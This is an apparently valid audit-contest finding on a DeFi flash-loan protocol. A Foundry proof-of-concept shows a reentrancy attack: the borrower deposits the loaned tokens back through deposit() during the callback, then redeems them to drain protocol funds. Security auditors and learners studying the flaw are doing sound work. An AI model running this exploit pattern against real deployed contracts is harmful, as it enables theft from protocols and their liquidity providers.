Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

Steal funds from the protocol via reentrancy

Summary

The flashloan function lacks reentrancy protection, allowing re-entry into other functions during the callback function.

Vulnerability Details

Due to the lack of reentrancy protection, a malicious user can bypass the flashloan check by depositing borrowed funds back into the protocol through the function deposit() during the flashloan's executeOperation callback. After the flashloan ended, the previously deposited funds were withdrawn through the function redeem(), thereby stealing funds from the protocol.

PoC

pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { BaseTest, ThunderLoan } from "./BaseTest.t.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ThunderLoanReentrancyTest is BaseTest {
uint256 constant AMOUNT = 10e18;
uint256 constant DEPOSIT_AMOUNT = AMOUNT * 100;
address liquidityProvider = address(123);
address user = address(456);
address exploiter = address(789);
MockFlashLoanExploiter mockFlashLoanExploiter;
function setUp() public override {
super.setUp();
vm.prank(user);
}
modifier setAllowedToken() {
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
_;
}
modifier hasDeposits() {
vm.startPrank(liquidityProvider);
tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
vm.stopPrank();
_;
}
function testExploit() public setAllowedToken hasDeposits {
uint256 amountToBorrow = AMOUNT * 95;
uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
mockFlashLoanExploiter = new MockFlashLoanExploiter();
tokenA.mint(address(this), calculatedFee);
emit log_named_decimal_uint("underlyToken balance in AssetToken", tokenA.balanceOf(address(asset)), tokenA.decimals());
emit log_named_decimal_uint("underlyToken balance in attacker", tokenA.balanceOf(address(this)), tokenA.decimals());
console.log("***exploting***");
tokenA.transfer(address(mockFlashLoanExploiter), calculatedFee);
thunderLoan.flashloan(address(mockFlashLoanExploiter), tokenA, amountToBorrow, "");
uint256 redeemAmount = asset.balanceOf(address(this));
thunderLoan.redeem(tokenA, redeemAmount);
emit log_named_decimal_uint("underlyToken balance in AssetToken", tokenA.balanceOf(address(asset)), tokenA.decimals());
emit log_named_decimal_uint("underlyToken balance in attacker", tokenA.balanceOf(address(this)), tokenA.decimals());
}
}
contract MockFlashLoanExploiter {
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata /* params */
)
external
returns (bool)
{
IERC20(token).approve(msg.sender, amount + fee);
ThunderLoan(msg.sender).deposit(IERC20(token), amount + fee);
AssetToken asset = ThunderLoan(msg.sender).getAssetFromToken(IERC20(token));
uint256 redeemAmount = asset.balanceOf(address(this));
asset.transfer(initiator, redeemAmount);
return true;
}
}

Impact

Protocol funds will be stolen

Tools Used

Manual review

Recommendations

Add reentrancy protection to function flashloan()

Updates

Lead Judging Commences

0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

flash loan funds stolen by a deposit

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.